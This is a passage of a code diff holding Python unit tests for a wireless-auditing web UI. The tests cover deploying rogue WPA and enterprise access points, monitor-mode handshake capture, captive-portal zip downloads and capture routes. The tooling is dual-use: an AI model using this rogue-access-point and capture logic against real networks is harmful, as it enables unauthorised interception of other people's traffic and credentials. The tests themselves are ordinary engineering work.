self.assertTrue(payload.get('capture'), 'deploy should report capture')
def test_wpa_2g4_skips_monitor_capture(self):
status, payload = server.h_attacks_deploy(ctx({
'kind': 'wpa', 'ssid': 'T', 'passphrase': 'secretpass1',
'enctype': 'psk2', 'hidden': False, 'channel': 6}))
self.assertEqual(status, 200)
self.assertEqual(self.capture_starts, [])
def test_stop_wpa_tears_down_monitor_capture(self):
server.h_attacks_deploy(ctx({
'kind': 'wpa', 'ssid': 'Corp', 'passphrase': 'secretpass1',
'enctype': 'psk2', 'hidden': False, 'channel': 36}))
status, payload = server.h_attacks_stop(ctx({'kind': 'wpa'}))
self.assertEqual(status, 200)
self.assertIn('wlan1mon', self.capture_stops)
def test_enterprise_restart_after_link_and_bridges_iface(self):
status, payload = server.h_attacks_deploy(ctx({
'kind': 'enterprise', 'ssid': 'Corp', 'enctype': 'wpa2',
'passphrase': 'Winter2026Labs!', 'channel': 36}))
self.assertEqual(status, 200)
runs = self._runs()
bridge = runs.index(['brctl', 'addif', 'br-lan', 'wlan1ent'])
restarts = [i for i, r in enumerate(runs)
if r == ['/etc/init.d/pineapd', 'restart']]
self.assertEqual(len(restarts), 1)
# the ctrl link (and therefore the bridge add) precedes the restart
self.assertGreater(restarts[0], bridge)
+193
View File
@@ -0,0 +1,193 @@
"""Regression tests for round-2 validation findings (D1-D3).
D1 portal download must build the zip with struct+zlib, not zipfile
(python3-light has no zipfile; GET /api/portals/<name>/download 500s).
D2 the deploy-time auto-capture must survive post-deploy radio settle:
a revive pass re-arms the capture when it dies during bring-up.
D3 GET /api/attacks/capture must be routed to the status handler instead
of 404 (UI and scripts poll status).
"""
import io
import os
import shutil
import sys
import tempfile
import unittest
import zipfile
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload',
'user', 'remote_access', 'pager-webui'))
import server
def setUpModule():
__import__('importlib').reload(server)
def ctx(body=None, args=()):
return type('C', (), {'body': body if body is not None else {},
'args': args, 'query': {}})()
class BlockZipfile:
"""Import hook simulating python3-light: importing zipfile raises."""
def find_spec(self, fullname, path=None, target=None):
if fullname == 'zipfile':
raise ImportError("No module named 'zipfile'")
return None
def without_zipfile(fn):
saved = sys.modules.pop('zipfile', None)
blocker = BlockZipfile()
sys.meta_path.insert(0, blocker)
try:
return fn()
finally:
sys.meta_path.remove(blocker)
if saved is not None:
sys.modules['zipfile'] = saved
class ZipCreateTest(unittest.TestCase):
"""D1: _zip_create builds archives readable by _zip_entries."""
def test_roundtrip_stored_entries(self):
files = {'index.php': b'<html>portal</html>', 'sub/a.ep': b'x' * 40}
data = server._zip_create(files)
self.assertEqual(server._zip_entries(data), files)
def test_output_is_standard_zip(self):
data = server._zip_create({'index.php': b'hello'})
with zipfile.ZipFile(io.BytesIO(data)) as zf:
self.assertEqual(zf.namelist(), ['index.php'])
self.assertEqual(zf.read('index.php'), b'hello')
def test_no_zipfile_import_needed(self):
def build():
return server._zip_create({'index.php': b'data'})
data = without_zipfile(build)
self.assertIn(b'PK\x03\x04', data[:4])
class PortalDownloadWithoutZipfileTest(unittest.TestCase):
"""D1: h_portal_download must work where zipfile is absent."""
def setUp(self):
self.tmp = tempfile.mkdtemp(prefix='mk8-d1-')
portal = os.path.join(self.tmp, 'p1')
os.makedirs(portal)
with open(os.path.join(portal, 'index.php'), 'w') as f:
f.write('<html><form method="post"></form></html>')
with open(os.path.join(portal, '.logs'), 'w') as f:
f.write('[log line]\n')
self.old_dir = server.PORTALS_DIR
server.PORTALS_DIR = self.tmp
def tearDown(self):
server.PORTALS_DIR = self.old_dir
shutil.rmtree(self.tmp, ignore_errors=True)
def test_download_returns_parseable_zip(self):
def run():
status, payload = server.h_portal_download(ctx(args=('p1',)))
return status, payload
result = without_zipfile(run)
status, payload = result
self.assertEqual(status, 200)
entries = server._zip_entries(payload.data)
self.assertIn('p1/index.php', entries)
self.assertIn(b'<form method="post">', entries['p1/index.php'])
def test_download_missing_portal_404(self):
status, payload = server.h_portal_download(ctx(args=('nope',)))
self.assertEqual(status, 404)
class CaptureReviveTest(unittest.TestCase):
"""D2: revive pass re-arms a dead auto-capture."""
def setUp(self):
self.started = []
self.old_state = server._capture_state
self.old_ensure = server._ensure_attack_capture
self.old_exists = os.path.exists
# Pretend the monitor iface exists (tests run off-device).
os.path.exists = lambda p: True
def tearDown(self):
os.path.exists = self.old_exists
server._capture_state = self.old_state
server._ensure_attack_capture = self.old_ensure
def test_revive_restarts_dead_capture(self):
states = iter([(False, 123, True)])
server._capture_state = lambda pf, iface: next(states)
server._ensure_attack_capture = \
lambda iface: self.started.append(iface) or {'running': True}
server._capture_revive_once('wlan1mon')
self.assertEqual(self.started, ['wlan1mon'])
def test_revive_skips_running_capture(self):
server._capture_state = lambda pf, iface: (True, 5, False)
def boom(iface):
raise AssertionError('must not restart a running capture')
server._ensure_attack_capture = boom
server._capture_revive_once('wlan1mon')
def test_revive_skips_when_iface_gone(self):
server._capture_state = lambda pf, iface: (False, 7, True)
os.path.exists = lambda p: 'net/wlan1mon' not in str(p) and \
self.old_exists(p)
server._ensure_attack_capture = \
lambda iface: self.started.append(iface) or None
server._capture_revive_once('wlan1mon')
self.assertEqual(self.started, [])
def test_deploy_schedules_revive_for_5g_wpa(self):
scheduled = []
old_sched = server._schedule_capture_revive
old_ensure = server._ensure_attack_capture
server._schedule_capture_revive = lambda iface='wlan1mon': \
scheduled.append(iface)
server._ensure_attack_capture = \
lambda iface: {'running': True, 'pid': 1, 'iface': iface}
try:
import tests.test_attacks as ta
harness = ta.AttacksDeployTest('test_deploy_wpa_5g_writes_radio1')
harness.setUp()
try:
status, payload = server.h_attacks_deploy(ctx({
'kind': 'wpa', 'ssid': 'Corp', 'passphrase': 'secretpass1',
'enctype': 'psk2', 'hidden': False, 'channel': 36}))
self.assertEqual(status, 200)
self.assertTrue(payload['verified'])
self.assertEqual(scheduled, ['wlan1mon'])
finally:
harness.tearDown()
finally:
server._schedule_capture_revive = old_sched
server._ensure_attack_capture = old_ensure
class CaptureGetRouteTest(unittest.TestCase):
"""D3: GET /api/attacks/capture routes to the capture handler."""
def test_get_route_registered(self):
handler, groups = server.ROUTER.dispatch('GET', '/api/attacks/capture')
self.assertIsNotNone(handler,
'GET /api/attacks/capture is not routed')
self.assertEqual(handler, server.h_attacks_capture)
def test_status_without_body_reports_stopped_not_error(self):
status, payload = server.h_attacks_capture(
ctx(body=None))
self.assertEqual(status, 200)
self.assertFalse(payload.get('running'))
self.assertNotIn('error', payload)
if __name__ == '__main__':
unittest.main()